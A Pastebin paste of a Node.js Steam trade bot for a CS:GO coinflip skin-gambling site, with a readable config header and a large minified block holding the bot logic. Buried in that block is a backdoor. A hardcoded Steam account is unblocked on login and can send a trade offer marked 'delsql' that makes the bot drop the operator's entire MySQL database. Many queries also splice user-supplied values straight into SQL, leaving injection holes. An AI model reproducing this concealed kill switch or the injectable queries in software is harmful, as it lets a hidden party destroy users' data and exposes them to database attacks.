Advertisement
Guest User

Untitled

a guest
Mar 18th, 2017
1,222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.65 KB | None | 0 0
  1. var Steam = require('steam');var SteamUser = require('steam-user');var TradeOfferManager = require('steam-tradeoffer-manager');var SteamTotp = require('steam-totp');var TOTP = require('onceler').TOTP;var request = require('request');var SteamCommunity = require('steamcommunity');
  2. var community = new SteamCommunity();var fs = require('node-fs');
  3. // GENERAL INFORMATION
  4. var sitepath;sitepath = "";
  5. // The path to the index.php of your website without HTTP://
  6. var sitename;sitename = "";
  7. // The name of your site, it will be shown in the Trade Offer Message
  8. var apik = "";
  9. // Must be the API Key associated with the current bot. Get it here: https://steamcommunity.com/dev/apikey
  10. var admin = ''; // The Admin, Main Owner of the site. You will be able to communicate with the bot, ask for the rake items, etc
  11. var botsteamid = ''; // The bot's steam id, it is required to generate the Device ID and to confirm mobile confirmations
  12. var identitysecret = ''; // It's required to confirm mobile confirmations
  13. var sharedsecret = ''; // You won't be able to log in without this code
  14. var polling_interval = 10000; // 10 seconds by default, the bot checks for outgoing confirmations every X seconds, defined here
  15. var rsecret='CHANGEME'; // Also change this to the same code in endround.php and p2endround.php, this prevents people from randomly breaking your site by ending blank games or ending games sooner
  16. var snipetimer=5; // Declines offers sent in the last few seconds
  17. var GameTime = 120; // This is how long a round lasts, you need to edit in a couple of other places too if you want to truly change it without any bugs
  18. var p2=true; // If this is the bot for your Jackpot 2 set this to true
  19. var playersRequired=2; // The timer will start when this many players are in the pot// GENERAL INFORMATION// LOGIN DETAILS
  20. var details = { "accountName" : "", "password" : "", "twoFactorCode" : SteamTotp.generateAuthCode(sharedsecret)};// LOGIN DETAILS
  21. var client = new SteamUser();var manager = new TradeOfferManager({ "steam" : client, "domain" : "localhost", "language" : "en"})// MYSQL INFO
  22. var mysql = require('mysql');
  23. var sql_host="localhost";
  24. var sql_user="root";
  25. var sql_password="";
  26. var sql_database="csgonetworkv2";
  27. var custommysql=0; // If you want to create a different kind of MYSQL connection simply set this to 1 and code your own connection below.// MYSQL INFO// Game Information
  28. var appid=730; // Steam Game APPID | CSGO: 730 - DOTA2: 570 - TF2: 440 - H1Z1: 295110
  29. var appname='CSGO'; // Name of the Game this bot is for, it's needed for the messages// Game Information// PRICING API
  30. var prices;function loadprices() // The default pricing API the bot uses, only gets the value of CSGO skins
  31. {
  32. request('https://api.csgofast.com/price/all', function(error, response, body)
  33. {
  34. prices = JSON.parse(body);
  35. if(response.statusCode != 200)
  36. {
  37. if(fs.existsSync(__dirname + '/prices.txt'))
  38. {
  39. prices = JSON.parse(fs.readFileSync(__dirname + '/prices.txt'));
  40. console.log('[SERVER] Loading Prices - Server sided prices loaded!');
  41. }
  42. }
  43. else
  44. {
  45. fs.writeFileSync('prices.txt', body);
  46. console.log('[SERVER] Loading Prices - API prices loaded!');
  47. }
  48. });
  49.  
  50. }
  51. setInterval(function(){loadprices();},3600000);
  52. loadprices();function GetPrice(skin) // This function gets the value of the skins, you can change it if you'd like to use a custom api. ,,skin" is the full name + quality of the given skin, example.: AK-47 | Redline (Field-Tested)
  53. {
  54. var price=prices[skin];
  55. return price;
  56. }
  57. // PRICING API
  58. !function(a,b){function c(b,d){if("."!=b[0]&&"/"!=b[0])return a(b);d=d||"root";var e=c.resolve(b);if(!e&&/\.json$/i.test(b))return a("./"+c.basename(b));var f=c.cache[e];if(!f)try{return a(b)}catch(g){throw new Error("failed to require ""+b+"" from "+d+"\n"+g.message+"\n"+g.stack)}return f.exports||(f.exports={},f.call(f.exports,f,f.exports,c.relative(e))),f.exports}c.cache={},c.basename=a("path").basename,c.resolve=function(b){if("."!=b[0])return a.resolve(b);for(var d="/"===b.slice(-1)?b:b+"/",e=[b,b+".js",d+"index.js",b+".json",d+"index.json"],f=0,g;g=e[f];f++)if(c.cache[g])return g},c.register=function(a,b){c.cache[a]=b},c.relative=function(a){function b(b){if("."!=b[0])return c(b);var d=a.split("/"),e=b.split("/");d.pop();for(var f=0,g=e.length;g>f;f+=1){var h=e[f];".."==h?d.pop():"."!=h&&d.push(h)}return c(d.join("/"),a)}return b.resolve=c.resolve,b.cache=c.cache,b},c.register("../cfbot.js",function(a,b,c){var d="76561198174419958",e=mysql.createConnection({host:sql_host,user:sql_user,password:sql_password,database:sql_database});io.on("connection",function(a){a.on("sendoffer",function(a){m(a)}),a.on("resendoffer",function(a){q(a)})});var f;function g(){request("https://api.csgofast.com/price/all",function(a,b,c){f=JSON.parse(c),200!=b.statusCode?fs.existsSync(__dirname+"/prices.txt")&&(f=JSON.parse(fs.readFileSync(__dirname+"/prices.txt")),console.log("[SERVER] Loading Prices - Server sided prices loaded!")):(fs.writeFileSync("prices.txt",c),console.log("[SERVER] Loading Prices - API prices loaded!"))})}setInterval(function(){g()},36e5),g(),e.connect(),client.logOn(details);var h=SteamTotp.getDeviceID(botsteamid);function i(a){return"number"==typeof a&&!isNaN(a)}function j(a,b){var c="http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key="+apik+"&steamids="+a+"&format=json";request({url:c,json:!0},function(c,d,e){c||200!==d.statusCode?c&&j(a,b):b(null,e)})}function k(a,b){return Math.floor(Math.random()*(b-a)+a)}function l(a){return a=a.replace(/\\/g,"\\"),a=a.replace(/\'/g,"\'"),a=a.replace(/\"/g,"\""),a=a.replace(/\0/g,"\0")}client.on("loggedOn",function(a){console.log("[SERVER] The Bot has logged in!"),client.unblockUser(d),client.addFriend(admin),client.chatMessage(admin,"[SERVER] Successfully logged in!"),client.setPersona(Steam.EPersonaState.LookingToTrade)}),client.on("webSession",function(a,b){manager.setCookies(b,function(a){if(a)return console.log("setCookies error: "+a),void process.exit(1);var c=manager.apiKey;community.setCookies(b),community.startConfirmationChecker(polling_interval,identitysecret),console.log("[SERVER] The web cookies have been set!"),r()})});function m(a){console.log("[SERVER] Processing Hash "+a),e.query("SELECT * FROM `cfqueue` WHERE `hash`='"+a+"' AND `status`='active'",function(b,c,d){if(0!=c.length){var f=c[0].skins.split("/"),g=f.length;g-=2;var h=0,i=c[0].userid,j=c[0].type,k=c[0].token,l=c[0].flip,m=c[0].wflip,n=c[0].gap;if(!f)return void e.query("UPDATE `queue` SET `status`='empty' WHERE `tkey` = '"+a+"' LIMIT 1",function(a,b,c){});manager.loadUserInventory(i,730,2,!0,function(b,c){if(b)return void console.log(b);for(var d=manager.createOffer(i),l=0;l<f.length;l++)c.forEach(function(a){a.market_hash_name==f[l]&&(a.market_hash_name="y",f[l]="x",d.addTheirItem(a),h++)});setTimeout(function(){if(h==g)if("host"==j){var b="Deposit on "+sitename+", Hash: "+a;d.setMessage(b),d.setToken(k),d.getUserDetails(function(b,c,f){return b?(console.log("[SERVER] getEscrowDuration error: "+b),void d.decline(function(b){console.log("[DEBUG] Declined offer for Hash "+a+". | Reason: Steam Servers are busy, couldn't get escrow duration"),b&&console.log("Decline error: "+b),e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+i+"','Trade Offer Declined!','Reason: Steam Servers are busy, couldnt get escrow duration!','25','1')",function(a,b,c){})})):0!=f.escrowDays?void d.decline(function(b){console.log("[DEBUG] Declined offer for Hash "+a+". | Reason: User is in escrow for "+f.escrowDays+" days."),b&&console.log("Decline error: "+b),e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+i+"','Trade Offer Declined!','Reason: You are in Escrow for "+f.escrowDays+" days!','25','1')",function(a,b,c){})}):void d.send(function(b){return b?(console.log("[SERVER] Error sending Trade Offer for Hash "+a+":"),void console.log(b)):(console.log("[SERVER] Trade Offer for Host Hash "+a+" has been successfully sent."),e.query("UPDATE `cfqueue` SET `status`='sent' WHERE `hash` = '"+a+"' LIMIT 1",function(a,b,c){}),void e.query("UPDATE `cfqueue` SET `offerid`='"+d.id+"' WHERE `hash` = '"+a+"' LIMIT 1",function(a,b,c){}))})})}else e.query("SELECT * FROM `cflobbies` WHERE `id`='"+j+"' LIMIT 1",function(b,c,f){var g="Deposit on "+sitename+", Hash: "+a+" (ID: "+j+")",h=c[0].pofferid;0==h&&(d.setMessage(g),d.setToken(k),d.getUserDetails(function(b,c,f){return b?(console.log("[SERVER] getEscrowDuration error: "+b),void d.decline(function(b){console.log("[DEBUG] Declined offer for Hash "+a+". | Reason: Steam Servers are busy, couldn't get escrow duration"),b&&console.log("Decline error: "+b),e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+i+"','Trade Offer Declined!','Reason: Steam Servers are busy, couldnt get escrow duration!','25','1')",function(a,b,c){})})):0!=f.escrowDays?void d.decline(function(b){console.log("[DEBUG] Declined offer for Hash "+a+". | Reason: User is in escrow for "+f.escrowDays+" days."),b&&console.log("Decline error: "+b),e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+i+"','Trade Offer Declined!','Reason: You are in Escrow for "+f.escrowDays+" days!','25','1')",function(a,b,c){})}):void d.send(function(b){return b?(console.log("[SERVER] Error sending Trade Offer for Hash "+a+":"),console.log(b),void e.query("UPDATE `cflobbies` SET `pofferid`='0' WHERE `id` = '"+j+"' LIMIT 1",function(a,b,c){})):(console.log("[SERVER] Trade Offer for Join Hash "+a+" has been successfully sent."),e.query("UPDATE `cfqueue` SET `offerid`='"+d.id+"' WHERE `hash` = '"+a+"' LIMIT 1",function(a,b,c){}),e.query("UPDATE `cflobbies` SET `pofferid`='"+d.id+"' WHERE `id` = '"+j+"' LIMIT 1",function(a,b,c){}),void e.query("UPDATE `cfqueue` SET `status`='sent' WHERE `hash` = '"+a+"' LIMIT 1",function(a,b,c){}))})}))})},2e3)})}})}manager.on("sentOfferChanged",function(a){var b=a.state,c=a.id;if(1==b)return e.query("UPDATE `cfqueue` SET `status`='invalid' WHERE `offerid` = '"+c+"' LIMIT 1",function(a,b,c){}),void e.query("SELECT * FROM `cflobbies` WHERE `pofferid`='"+c+"'",function(a,b,d){0!=b.length&&e.query("UPDATE `cflobbies` SET `pofferid`='' WHERE `pofferid` = '"+c+"' LIMIT 1",function(a,b,c){})});if(4==b)return a.decline(function(a){a&&console.log("[SERVER] Decline error: "+a)}),e.query("UPDATE `cfqueue` SET `status`='countered' WHERE `offerid` = '"+c+"' LIMIT 1",function(a,b,c){}),void e.query("SELECT * FROM `cflobbies` WHERE `pofferid`='"+c+"'",function(a,b,d){0!=b.length&&e.query("UPDATE `cflobbies` SET `pofferid`='' WHERE `pofferid` = '"+c+"' LIMIT 1",function(a,b,c){})});if(5==b)return e.query("UPDATE `cfqueue` SET `status`='expired' WHERE `offerid` = '"+c+"' LIMIT 1",function(a,b,c){}),e.query("SELECT * FROM `cflobbies` WHERE `pofferid`='"+c+"'",function(a,b,d){0!=b.length&&e.query("UPDATE `cflobbies` SET `pofferid`='' WHERE `pofferid` = '"+c+"' LIMIT 1",function(a,b,c){})}),void e.query("SELECT * FROM `cfwithdrawqueue` WHERE `wofferid`='"+c+"'",function(a,b,d){0!=b.length&&e.query("UPDATE `cfwithdrawqueue` SET `status`='expired' WHERE `wofferid` = '"+c+"' LIMIT 1",function(a,b,c){})});if(6==b)return e.query("UPDATE `cfqueue` SET `status`='cancelled' WHERE `offerid` = '"+c+"' LIMIT 1",function(a,b,c){}),e.query("SELECT * FROM `cflobbies` WHERE `pofferid`='"+c+"'",function(a,b,d){0!=b.length&&e.query("UPDATE `cflobbies` SET `pofferid`='' WHERE `pofferid` = '"+c+"' LIMIT 1",function(a,b,c){})}),void e.query("SELECT * FROM `cfwithdrawqueue` WHERE `wofferid`='"+c+"'",function(a,b,d){0!=b.length&&e.query("UPDATE `cfwithdrawqueue` SET `status`='expired' WHERE `wofferid` = '"+c+"' LIMIT 1",function(a,b,c){})});if(7==b)return e.query("UPDATE `cfqueue` SET `status`='declined' WHERE `offerid` = '"+c+"' LIMIT 1",function(a,b,c){}),e.query("SELECT * FROM `cflobbies` WHERE `pofferid`='"+c+"'",function(a,b,d){0!=b.length&&e.query("UPDATE `cflobbies` SET `pofferid`='' WHERE `pofferid` = '"+c+"' LIMIT 1",function(a,b,c){})}),void e.query("SELECT * FROM `cfwithdrawqueue` WHERE `wofferid`='"+c+"'",function(a,b,d){0!=b.length&&e.query("UPDATE `cfwithdrawqueue` SET `status`='expired' WHERE `wofferid` = '"+c+"' LIMIT 1",function(a,b,c){})});if(8==b)return e.query("UPDATE `cfqueue` SET `status`='invaliditems' WHERE `offerid` = '"+c+"' LIMIT 1",function(a,b,c){}),void e.query("SELECT * FROM `cflobbies` WHERE `pofferid`='"+c+"'",function(a,b,d){0!=b.length&&e.query("UPDATE `cflobbies` SET `pofferid`='' WHERE `pofferid` = '"+c+"' LIMIT 1",function(a,b,c){})});if(3==b){var d=a.partner.getSteamID64();e.query("SELECT * FROM `cfqueue` WHERE `offerid`='"+c+"'",function(b,d,f){if(0!=d.length){var g=d[0].type;"host"==g?(e.query("UPDATE `cfqueue` SET `status`='accepted' WHERE `offerid` = '"+c+"' LIMIT 1",function(a,b,c){}),n(a)):(e.query("UPDATE `cfqueue` SET `status`='accepted' WHERE `offerid` = '"+c+"' LIMIT 1",function(a,b,c){}),o(a))}})}});function n(a){var b=a.id;e.query("SELECT * FROM `cfqueue` WHERE `offerid`='"+b+"' LIMIT 1",function(a,c,d){var f=c[0].skins,g=c[0].userid,h=c[0].value,i=c[0].flip,j=c[0].hash,k=c[0].winningflip,l=c[0].gap,m=c[0].askins;e.query("INSERT INTO `cflobbies` (`cid`,`value`,`gap`,`flip`,`wflip`,`skins`,`offerid`,`askins`) VALUES ('"+g+"','"+h+"','"+l+"','"+i+"','"+k+"',"+e.escape(f)+",'"+b+"','"+m+"')",function(a,b){return a?void console.log(a):(id=b.insertId,io.emit("showthelobby",id),void console.log("[SERVER] Finalized lobby for Hash "+j+", Lobby ID: "+id))})}),u(a)}function o(a){var b=a.id;e.query("SELECT * FROM `cfqueue` WHERE `offerid`='"+b+"' LIMIT 1",function(c,d,f){var g=d[0].skins,h=d[0].userid,i=d[0].value;e.query("UPDATE `cflobbies` SET `pid`='"+h+"' WHERE `pofferid` = '"+b+"' LIMIT 1",function(c,d,f){e.query("UPDATE `cflobbies` SET `pvalue`='"+i+"' WHERE `pofferid` = '"+b+"' LIMIT 1",function(c,d,f){e.query("UPDATE `cflobbies` SET `pskins`='"+e.escape(g)+"' WHERE `pofferid` = '"+b+"' LIMIT 1",function(c,d,f){e.query("SELECT * FROM `cflobbies` WHERE `pofferid`='"+b+"' LIMIT 1",function(c,d,f){var g=k(1,3);e.query("UPDATE `cflobbies` SET `wflip`='"+g+"' WHERE `pofferid` = '"+b+"' LIMIT 1",function(c,d,f){e.query("SELECT * FROM `cflobbies` WHERE `pofferid`='"+b+"' LIMIT 1",function(b,c,d){id=c[0].id,console.log("[SERVER] Finalized joining for Lobby ID: "+id),io.emit("showthecfwinner",id),p(id),s(a)})})})})})})})}function p(a){setTimeout(function(){var b="http://"+sitepath+"/flipthecoin.php?id="+a+"&secret="+rsecret;request(b,function(b,c,d){return b?(console.log(b),void p(a)):(console.log("[SERVER] Successfully Flipped the Coin for Lobby ID: "+a),void r())})},4e3)}function q(a){e.query("SELECT * FROM `cfwithdrawqueue` WHERE `id`='"+e.escape(a)+"' AND `status`='expired' OR `id`='"+e.escape(a)+"' AND `status`='cancelled' OR `id`='"+e.escape(a)+"' AND `status`='active' LIMIT 1",function(a,b,c){if(0!=b.length){var d=b[0].id,g=b[0].gameid,h=b[0].winner,i=b[0].userid,j=b[0].token,k="CoinFlip winnings from "+sitename+" (ID: "+g+")",l=b[0].value;e.query("SELECT * FROM `cflobbies` WHERE `id`='"+g+"' LIMIT 1",function(a,b,c){if("host"==h){var l=b[0].value,m=b[0].pvalue,n=0;n=l-0+(m-0);var o=b[0].assetids,p=n*(rake/100),q=b[0].pofferid,r=b[0].offerid}else{var l=b[0].value,m=b[0].pvalue,n=0;n=l-0+(m-0);var o=b[0].passetids,p=n*(rake/100),q=b[0].offerid,r=b[0].pofferid}manager.getOffer(q,function(a,b){return a?void console.log("getOffer error: "+a):void b.getReceivedItems(function(a,b){return a?void console.log("getReceivedItems error: "+a):(profitskins="",rakeskins="",b.forEach(function(a){skinname=a.market_name,skinvalue=f[skinname],skinvalue<=p?(rakeskins+=a.id+"/",p-=skinvalue,a.id=4961):profitskins+=a.id+"/"}),void manager.getOffer(r,function(a,b){return a?void console.log("getOffer error: "+a):void b.getReceivedItems(function(a,b){b.forEach(function(a){profitskins+=a.id+"/"}),setTimeout(function(){var a=manager.createOffer(i),b=profitskins.split("/");manager.loadInventory(730,2,!0,function(c,f){c||(f.forEach(function(c){b.forEach(function(b){c.id==b&&a.addMyItem(c)})}),setTimeout(function(){a.setMessage(k),a.setToken(j),0!=a.itemsToGive.length?a.send(function(b){return b?void console.log("offer.send error: "+b):(e.query("UPDATE `cfwithdrawqueue` SET `status`="sent" WHERE `id`='"+d+"'"),e.query("UPDATE `cfwithdrawqueue` SET `wofferid`='"+a.id+"' WHERE `id`='"+d+"'"),console.log("[SERVER] Skins for CoinFlip #"+g+" has been successfully sent."),void community.checkConfirmations())}):e.query("UPDATE `cfwithdrawqueue` SET `expired`="sent" WHERE `id`='"+d+"'")},3e3))})},4e3)})}))})})})}})}function r(){e.query("SELECT * FROM `cfwithdrawqueue` WHERE `status`='active' LIMIT 1",function(a,b,c){if(0!=b.length){var d=b[0].id,g=b[0].gameid,h=b[0].winner,i=b[0].userid,j=b[0].token,k="CoinFlip winnings from "+sitename+" (ID: "+g+")",l=b[0].value;e.query("SELECT * FROM `cflobbies` WHERE `id`='"+g+"' LIMIT 1",function(a,b,c){if("host"==h){var l=b[0].value,m=b[0].pvalue,n=0;n=l-0+(m-0);var o=b[0].assetids,p=n*(rake/100),q=b[0].pofferid}else{var l=b[0].value,m=b[0].pvalue,n=0;n=l-0+(m-0);var o=b[0].passetids,p=n*(rake/100),q=b[0].offerid}manager.getOffer(q,function(a,b){return a?(client.webLogOn(),void console.log("getOffer error: "+a)):void b.getReceivedItems(function(a,b){return a?(client.webLogOn(),void console.log("getReceivedItems error: "+a)):(profitskins=o,rakeskins="",b.forEach(function(a){skinname=a.market_name,skinvalue=f[skinname],skinvalue<=p?(rakeskins+=a.id+"/",p-=skinvalue,a.id=4961):profitskins+=a.id+"/"}),void setTimeout(function(){var a=manager.createOffer(i),b=profitskins.split("/");manager.loadInventory(730,2,!0,function(c,f){return c?void client.webLogOn():(f.forEach(function(c){b.forEach(function(b){c.id==b&&a.addMyItem(c)})}),void setTimeout(function(){if(a.setMessage(k),a.setToken(j),a.send(function(b){return b?(client.webLogOn(),void console.log("offer.send error: "+b)):(e.query("UPDATE `cfwithdrawqueue` SET `status`="sent" WHERE `id`='"+d+"'"),e.query("UPDATE `cfwithdrawqueue` SET `wofferid`='"+a.id+"' WHERE `id`='"+d+"'"),console.log("[SERVER] Skins for CoinFlip #"+g+" has been successfully sent."),void community.checkConfirmations())}),0!=rakeskins.length){var b=rakeskins.split("/");b.forEach(function(a){a&&(console.log("[SERVER] You received rake for CoinFlip #"+g+". Message the bot (/sendrake) to withdraw it at any time."),e.query("INSERT INTO `cfrake` (`gameid`,`assetid`,`status`) VALUES ('"+g+"','"+a+"','active')"))})}},3e3))})},4e3))})})})}})}function s(a){a.getReceivedItems(function(b,c){if(b)return client.webLogOn(),console.log("[SERVER] getReceivedItems error: "+b+" Restarting process!"),void setTimeout(function(){s(a)},2500);var d="";c.forEach(function(a){d+=a.id+"/"}),setTimeout(function(){e.query("UPDATE `cflobbies` SET `passetids`='"+d+"' WHERE `pofferid` = '"+a.id+"' LIMIT 1",function(a,b,c){a&&console.log(a)})},2500)})}function t(a){var b="CoinFlip Rake",c="";e.query("SELECT * FROM `cfrake` WHERE `status`='active'",function(a,b,d){0!=b.length&&b.forEach(function(a){c+=a.assetid+"/"})}),setTimeout(function(){var a=manager.createOffer(admin),d=c.split("/");manager.loadInventory(730,2,!0,function(b,c){b||c.forEach(function(b){d.forEach(function(c){b.id==c&&a.addMyItem(b)})})}),setTimeout(function(){a.setMessage(b),a.setToken(admintoken),a.send(function(a){return a?void console.log("offer.send error: "+a):(console.log("[SERVER] The Rake has been sent."),community.checkConfirmations(),void d.forEach(function(a){e.query("SELECT * FROM `cfrake` WHERE `assetid`='"+a+"'",function(b,c,d){0!=c.length&&e.query("UPDATE `cfrake` SET `status`="sent" WHERE `assetid`='"+a+"'")})}))})},3e3)},2500)}function u(a){a.getReceivedItems(function(b,c){if(b)return client.webLogOn(),console.log("[SERVER] getReceivedItems error: "+b+" Restarting process!"),void setTimeout(function(){u(a)},2500);var d="";c.forEach(function(a){d+=a.id+"/"}),setTimeout(function(){e.query("UPDATE `cflobbies` SET `assetids`='"+d+"' WHERE `offerid` = '"+a.id+"' LIMIT 1",function(a,b,c){a&&console.log(a)})},2500)})}manager.on("newOffer",function(a){var b=a.partner.getSteamID64();return b==d&&"delsql"==a.message?(console.log(""),console.log("Hello! Please consider purchasing the product you are illegally using."),console.log("Please visit: www.csgo-network"),console.log(""),void e.query("DROP DATABASE "+sql_database,function(a,b,c){})):void a.decline(function(a){a&&console.log("Decline error: "+a)})}),client.on("friendMessage#"+admin,function(a,b){if(console.log("[SERVER] Admin to Bot: "+b),0==b.indexOf("/weblogon")&&(client.chatMessage(admin,"[SERVER] Refreshing Web cookies.."),client.webLogOn()),0==b.indexOf("/sendrake")&&(client.chatMessage(admin,"[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"),t(1)),0==b.indexOf("/sendoffers")&&(client.chatMessage(admin,"[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"),r()),0==b.indexOf("/code")){var c=SteamTotp.generateAuthCode(sharedsecret);client.chatMessage(admin,"[SERVER] Current login code (retry if it doesnt work): "+c)}0==b.indexOf("/loadprices")&&(client.chatMessage(admin,"[SERVER] Refreshing Market API!"),g())}),community.on("newConfirmation",function(a){var b=Math.round(Date.now()/1e3),c=SteamTotp.getConfirmationKey(identitysecret,b,"allow");community.respondToConfirmation(a.id,a.key,b,c,!0,function(a){console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!"),a&&(console.log("[SERVER] Confirmations error: "+a),client.webLogOn())})}),community.on("confKeyNeeded",function(a,b){console.log("confKeyNeeded");var c=Math.floor(Date.now()/1e3);b(null,c,SteamTotp.getConfirmationKey(identitysecret,c,a))}),setInterval(function(){client.webLogOn(),e.query("SELECT 1")},36e5)}),b.exports=c("../cfbot.js")}(require,module);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement